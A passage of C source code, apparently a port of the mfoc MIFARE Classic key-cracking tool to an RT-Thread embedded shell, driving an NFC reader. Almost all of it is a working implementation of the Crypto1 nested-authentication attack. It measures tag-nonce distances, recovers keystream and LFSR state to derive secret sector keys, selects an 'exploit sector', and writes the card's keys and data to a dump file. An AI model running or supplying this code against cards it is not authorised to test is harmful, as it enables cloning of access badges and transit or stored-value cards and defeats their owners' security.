  634. if (res != NFC_ERFTRANS) {
  635. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  636. goto error;
  637. }
  638. mf_configure(r.pdi);
  639. mf_anticollision(t, r);
  640. memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
  641. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) {
  642. if (res != NFC_EMFCAUTHFAIL) {
  643. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  644. goto error;
  645. }
  646. mf_configure(r.pdi);
  647. mf_anticollision(t, r);
  648. } else { // and Read
  649. if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) {
  650. rt_kprintf("Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
  651. print_hex(mp.mpd.abtData, 16);
  652. mf_configure(r.pdi);
  653. mf_select_tag(r.pdi, &(t.nt));
  654. failure = false;
  655. } else {
  656. if (res != NFC_ERFTRANS) {
  657. // nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
  658. goto error;
  659. }
  660. mf_configure(r.pdi);
  661. mf_anticollision(t, r);
  662. // rt_kprintf ("error: Read B");
  663. }
  664. }
  665. }
  666. }
  667. if (trailer_block(block)) {
  668. // Copy the keys over from our key dump and store the retrieved access bits
  669. memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6);
  670. memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6);
  671. if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4);
  672. } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16);
  673. memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
  674. }
  675. // Finally save all keys + data to file
  676. uint16_t dump_size = (t.num_blocks + 1) * 16;
  677. if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) {
  678. rt_kprintf("error, cannot write dump\n");
  679. fclose(pfDump);
  680. goto error;
  681. }
  682. fclose(pfDump);
  683. }
  684. free(t.sectors);
  685. free(d.distances);
  686. // Reset the "advanced" configuration to normal
  687. nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true);
  688. nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true);
  689. // Disconnect device and return
  690. nfc_close(r.pdi);
  691. // nfc_return (context);
  692. return (EXIT_SUCCESS);
  693. error:
  694. nfc_close(r.pdi);
  695. // nfc_return (context);
  696. return 0;
  697. }
  698. MSH_CMD_EXPORT(mfoc, mfoc)
  699. void mfoc_usage()
  700. {
  701. rt_kprintf( "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n");
  702. rt_kprintf( "\n");
  703. rt_kprintf( " h print this help and return \n");
  704. // rt_kprintf(stream, " B instead of 'A' dump 'B' keys\n");
  705. rt_kprintf( " k try the specified key in addition to the default keys\n");
  706. rt_kprintf( " f parses a file of keys to add in addition to the default keys \n");
  707. // rt_kprintf(stream, " D number of distance probes, default is 20\n");
  708. // rt_kprintf(stream, " S number of sets with keystreams, default is 5\n");
  709. rt_kprintf( " P number of probes per sector, instead of default of 20\n");
  710. rt_kprintf( " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
  711. // rt_kprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n");
  712. rt_kprintf( " O file in which the card contents will be written (REQUIRED)\n");
  713. rt_kprintf( " D file in which partial card info will be written in case PRNG is not vulnerable\n");
  714. rt_kprintf( "\n");
  715. rt_kprintf( "Example: mfoc -O mycard.mfd\n");
  716. rt_kprintf( "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
  717. rt_kprintf( "Example: mfoc -f keys.txt -O mycard.mfd\n");
  718. rt_kprintf( "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
  719. rt_kprintf( "\n");
  720. rt_kprintf( "This is mfoc version %s.\n", PACKAGE_VERSION);
  721. rt_kprintf( "For more information, run: 'man mfoc'.\n");
  722. }
  723. void mf_init(mfreader *r)
  724. {
  725. // Connect to the first NFC device
  726. // nfc_init(&context);
  727. // if (context == NULL) {
  728. // rt_kprintf("Unable to init libnfc (malloc)");
  729. // return 0;
  730. // }
  731. r->pdi = nfc_open("uart2");
  732. if (!r->pdi) {
  733. printf("No NFC device found.\n");
  734. return;
  735. }
  736. }
  737. void mf_configure(nfc_device *pdi)
  738. {
  739. if (nfc_initiator_init(pdi) < 0) {
  740. // nfc_perror(pdi, "nfc_initiator_init");
  741. return;
  742. }
  743. // Drop the field for a while, so can be reset
  744. if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) {
  745. // nfc_perror(pdi, "nfc_device_set_property_bool activate field");
  746. return;
  747. }
  748. // Let the reader only try once to find a tag
  749. if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) {
  750. // nfc_perror(pdi, "nfc_device_set_property_bool infinite select");
  751. return;
  752. }
  753. // Configure the CRC and Parity settings
  754. if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) {
  755. // nfc_perror(pdi, "nfc_device_set_property_bool crc");
  756. return;
  757. }
  758. if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) {
  759. // nfc_perror(pdi, "nfc_device_set_property_bool parity");
  760. return;
  761. }
  762. // Enable the field so more power consuming cards can power themselves up
  763. if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) {
  764. // nfc_perror(pdi, "nfc_device_set_property_bool activate field");
  765. return;
  766. }
  767. }
  768. void mf_select_tag(nfc_device *pdi, nfc_target *pnt)
  769. {
  770. if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) {
  771. rt_kprintf("Unable to connect to the MIFARE Classic tag");
  772. nfc_close(pdi);
  773. // nfc_return (context);
  774. return;
  775. }
  776. }
  777. int trailer_block(uint32_t block)
  778. {
  779. // Test if we are in the small or big sectors
  780. return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
  781. }
  782. // Return position of sector if it is encrypted with the default key otherwise return ..
  783. int find_exploit_sector(mftag t)
  784. {
  785. int i;
  786. bool interesting = false;
  787. for (i = 0; i < t.num_sectors; i++) {
  788. if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) {
  789. interesting = true;
  790. break;
  791. }
  792. }
  793. if (!interesting) {
  794. rt_kprintf("\nWe have all sectors encrypted with the default keys..\n\n");
  795. return -1;
  796. }
  797. for (i = 0; i < t.num_sectors; i++) {
  798. if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
  799. rt_kprintf("\n\nUsing sector %02d as an exploit sector\n", i);
  800. return i;
  801. }
  802. }
  803. rt_kprintf("\n\nNo sector encrypted with the default key has been found, return ing..");
  804. return 0;
  805. }
  806. void mf_anticollision(mftag t, mfreader r)
  807. {
  808. if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) {
  809. // nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
  810. rt_kprintf("Tag has been removed");
  811. return;
  812. }
  813. }
  814. bool
  815. get_rats_is_2k(mftag t, mfreader r)
  816. {
  817. int res;
  818. uint8_t abtRx[MAX_FRAME_LEN];
  819. int szRxBits;
  820. uint8_t abtRats[2] = { 0xe0, 0x50};
  821. // Use raw send/receive methods
  822. if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
  823. // nfc_perror(r.pdi, "nfc_configure");
  824. return false;
  825. }
  826. res = nfc_initiator_transceive_bytes(r.pdi, abtRats, sizeof(abtRats), abtRx, sizeof(abtRx), 0);
  827. if (res > 0) {
  828. // ISO14443-4 card, turn RF field off/on to access ISO14443-3 again
  829. if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, false) < 0) {
  830. // nfc_perror(r.pdi, "nfc_configure");
  831. return false;
  832. }
  833. if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
  834. // nfc_perror(r.pdi, "nfc_configure");
  835. return false;
  836. }
  837. }
  838. // Reselect tag
  839. if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) <= 0) {
  840. printf("error: tag disappeared\n");
  841. nfc_close(r.pdi);
  842. // nfc_return (context);
  843. return 0;
  844. }
  845. if (res >= 10) {
  846. printf("ATS %02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X\n", res, abtRx[0], abtRx[1], abtRx[2], abtRx[3], abtRx[4], abtRx[5], abtRx[6], abtRx[7], abtRx[8]);
  847. return ((abtRx[5] == 0xc1) && (abtRx[6] == 0x05)
  848. && (abtRx[7] == 0x2f) && (abtRx[8] == 0x2f)
  849. && ((t.nt.nti.nai.abtAtqa[1] & 0x02) == 0x00));
  850. } else {
  851. return false;
  852. }
  853. }
  854. int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
  855. {
  856. struct Crypto1State *pcs;
  857. struct Crypto1State *revstate;
  858. struct Crypto1State *revstate_start;
  859. uint64_t lfsr;
  860. // Possible key counter, just continue with a previous "session"
  861. uint32_t kcount = pk->size;
  862. uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
  863. uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
  864. uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
  865. uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  866. uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  867. uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
  868. uint8_t Rx[MAX_FRAME_LEN]; // Tag response
  869. uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
  870. uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
  871. int i;
  872. uint32_t m;
  873. // Prepare AUTH command
  874. Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
  875. iso14443a_crc_append(Auth, 2);
  876. // rt_kprintf("\nAuth command:\t");
  877. // print_hex(Auth, 4);
  878. // We need full control over the CRC
  879. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) {
  880. // nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
  881. return 0;
  882. }
  883. // Request plain tag-nonce
  884. // TODO: Set NP_EASY_FRAMING option only once if possible
  885. if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
  886. // nfc_perror(r.pdi, "nfc_device_set_property_bool framing");
  887. return 0;
  888. }
  889. if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) {
  890. rt_kprintf("error while requesting plain tag-nonce\n");
  891. return 0;
  892. }
  893. if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) {
  894. // nfc_perror(r.pdi, "nfc_device_set_property_bool");
  895. return 0;
  896. }
  897. // print_hex(Rx, 4);
  898. // Save the tag nonce (Nt)
  899. Nt = bytes_to_num(Rx, 4);
  900. // Init the cipher with key {0..47} bits
  901. if (t.sectors[e_sector].foundKeyA) {
  902. pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
  903. } else {
  904. pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
  905. }
  906. // Load (plain) uid^nt into the cipher {48..79} bits
  907. crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0);
  908. // Generate (encrypted) nr+parity by loading it into the cipher
  909. for (i = 0; i < 4; i++) {
  910. // Load in, and encrypt the reader nonce (Nr)
  911. ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
  912. ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
  913. }
  914. // Skip 32 bits in the pseudo random generator
  915. Nt = prng_successor(Nt, 32);
  916. // Generate reader-answer from tag-nonce
  917. for (i = 4; i < 8; i++) {
  918. // Get the next random byte
  919. Nt = prng_successor(Nt, 8);
  920. // Encrypt the reader-answer (Nt' = suc2(Nt))
  921. ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
  922. ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
  923. }
  924. // Finally we want to send arbitrary parity bits
  925. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) {
  926. // nfc_perror(r.pdi, "nfc_device_set_property_bool parity");
  927. return 0;
  928. }
  929. // Transmit reader-answer
  930. // rt_kprintf("\t{Ar}:\t");
  931. // print_hex_par(ArEnc, 64, ArEncPar);
  932. int res;
  933. if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
  934. rt_kprintf("Reader-answer transfer error, return ing..");
  935. return 0;
  936. }
  937. // Now print the answer from the tag
  938. // rt_kprintf("\t{At}:\t");
  939. // print_hex_par(Rx,RxLen,RxPar);
  940. // Decrypt the tag answer and verify that suc3(Nt) is At
  941. Nt = prng_successor(Nt, 32);
  942. if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
  943. rt_kprintf("[At] is not Suc3(Nt), something is wrong, return ing..");
  944. return 0;
  945. }
  946. // rt_kprintf("Authentication completed.\n\n");
  947. // If we are in "Get Distances" mode
  948. if (mode == 'd') {
  949. for (m = 0; m < d->num_distances; m++) {
  950. // rt_kprintf("Nested Auth number: %x: ,", m);
  951. // Encrypt Auth command with the current keystream
  952. for (i = 0; i < 4; i++) {
  953. AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
  954. // Encrypt the parity bits with the 4 plaintext bytes
  955. AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
  956. }
  957. // Sending the encrypted Auth command
  958. if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) {
  959. rt_kprintf("error requesting encrypted tag-nonce\n");
  960. return 0;
  961. }
  962. // Decrypt the encrypted auth
  963. if (t.sectors[e_sector].foundKeyA) {
  964. pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
  965. } else {
  966. pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
  967. }
  968. NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1);
  969. // Make sure the card is using the known PRNG
  970. if (! validate_prng_nonce(NtLast)) {
  971. printf("Card is not vulnerable to nested attack\n");
  972. return -99999;
  973. }
  974. // Save the determined nonces distance
  975. d->distances[m] = nonce_distance(Nt, NtLast);
  976. // Again, prepare and send {At}
  977. for (i = 0; i < 4; i++) {
  978. ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
  979. ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
  980. }
  981. Nt = prng_successor(NtLast, 32);
  982. for (i = 4; i < 8; i++) {
  983. Nt = prng_successor(Nt, 8);
  984. ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF);
  985. ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
  986. }
  987. nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false);
  988. if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
  989. rt_kprintf("Reader-answer transfer error, return ing..");
  990. return 0;
  991. }
  992. Nt = prng_successor(Nt, 32);
  993. if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
  994. rt_kprintf("[At] is not Suc3(Nt), something is wrong, return ing..");
  995. return 0;
  996. }
  997. } // Next auth probe
  998. // Find median from all distances
  999. d->median = median(*d);
  1000. //rt_kprintf("Median: %05d\n", d->median);
  1001. } // The end of Get Distances mode
  1002. // If we are in "Get Recovery" mode
  1003. if (mode == 'r') {
  1004. // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
  1005. Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
  1006. Auth[1] = a_sector;
  1007. iso14443a_crc_append(Auth, 2);
  1008. // Encryption of the Auth command, sending the Auth command
  1009. for (i = 0; i < 4; i++) {
  1010. AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
  1011. // Encrypt the parity bits with the 4 plaintext bytes
  1012. AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
  1013. }
  1014. if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) {
  1015. rt_kprintf("while requesting encrypted tag-nonce");
  1016. return 0;
  1017. }
  1018. // Finally we want to send arbitrary parity bits
  1019. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) {
  1020. // nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M");
  1021. return 0;
  1022. }
  1023. if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) {
  1024. // nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M");
  1025. return 0;
  1026. }
  1027. // Save the encrypted nonce
  1028. NtEnc = bytes_to_num(Rx, 4);
  1029. // Parity validity check
  1030. for (i = 0; i < 3; ++i) {
  1031. d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
  1032. }
  1033. // Iterate over Nt-x, Nt+x
  1034. // rt_kprintf("Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
  1035. NtProbe = prng_successor(Nt, d->median - d->tolerance);
  1036. for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) {
  1037. // Try to recover the keystream1
  1038. Ks1 = NtEnc ^ NtProbe;
  1039. // Skip this nonce after invalid 3b parity check
  1040. revstate_start = NULL;
  1041. if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
  1042. // And finally recover the first 32 bits of the key
  1043. revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid);
  1044. if (revstate_start == NULL) {
  1045. revstate_start = revstate;
  1046. }
  1047. while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
  1048. lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0);
  1049. crypto1_get_lfsr(revstate, &lfsr);
  1050. // Allocate a new space for keys
  1051. if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
  1052. pk->size += MEM_CHUNK;
  1053. // rt_kprintf("New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
  1054. pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
  1055. if (pk->possibleKeys == NULL) {
  1056. rt_kprintf("Memory allocation error for pk->possibleKeys");
  1057. return 0;
  1058. }
  1059. }
  1060. pk->possibleKeys[kcount] = lfsr;
  1061. kcount++;
  1062. revstate++;
  1063. }
  1064. free(revstate_start);
  1065. }
  1066. NtProbe = prng_successor(NtProbe, 2);
  1067. }
  1068. // Truncate
  1069. if (kcount != 0) {
  1070. pk->size = --kcount;
  1071. if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
  1072. rt_kprintf("Memory allocation error for pk->possibleKeys");
  1073. return 0;
  1074. }
  1075. }
  1076. }
  1077. crypto1_destroy(pcs);
  1078. return 0;
  1079. }
  1080. // Return the median value from the nonce distances array
  1081. uint32_t median(denonce d)
  1082. {
  1083. int middle = (int) d.num_distances / 2;
  1084. qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int);
  1085. if (d.num_distances % 2 == 1) {
  1086. // Odd number of elements
  1087. return d.distances[middle];
  1088. } else {
  1089. // Even number of elements, return the smaller value
  1090. return (uint32_t)(d.distances[middle - 1]);
  1091. }
  1092. }
  1093. int compar_int(const void *a, const void *b)
  1094. {
  1095. return (*(uint64_t *)b - * (uint64_t *)a);
  1096. }
  1097. // Compare countKeys structure
  1098. int compar_special_int(const void *a, const void *b)
  1099. {
  1100. return (((countKeys *)b)->count - ((countKeys *)a)->count);
  1101. }
  1102. countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size)
  1103. {
  1104. unsigned int i, j = 0;
  1105. int count = 0;
  1106. countKeys *our_counts;
  1107. qsort(possibleKeys, size, sizeof(uint64_t), compar_int);
  1108. our_counts = calloc(size, sizeof(countKeys));
  1109. if (our_counts == NULL) {
  1110. rt_kprintf("Memory allocation error for our_counts");
  1111. return 0;
  1112. }
  1113. for (i = 0; i < size; i++) {
  1114. if (possibleKeys[i + 1] == possibleKeys[i]) {
  1115. count++;
  1116. } else {
  1117. our_counts[j].key = possibleKeys[i];
  1118. our_counts[j].count = count;
  1119. j++;
  1120. count = 0;
  1121. }
  1122. }
  1123. qsort(our_counts, j, sizeof(countKeys), compar_special_int);
  1124. return (our_counts);
  1125. }
  1126. // Return 1 if the nonce is invalid else return 0
  1127. int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity)
  1128. {
  1129. return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \
  1130. (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \
  1131. (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0;
  1132. }
  1133. void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest)
  1134. {
  1135. while (len--) {
  1136. dest[len] = (uint8_t) n;
  1137. n >>= 8;
  1138. }
  1139. }
  1140. long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
  1141. {
  1142. uint64_t num = 0;
  1143. while (len--) {
  1144. num = (num << 8) | (*src);
  1145. src++;
  1146. }
  1147. return num;
  1148. }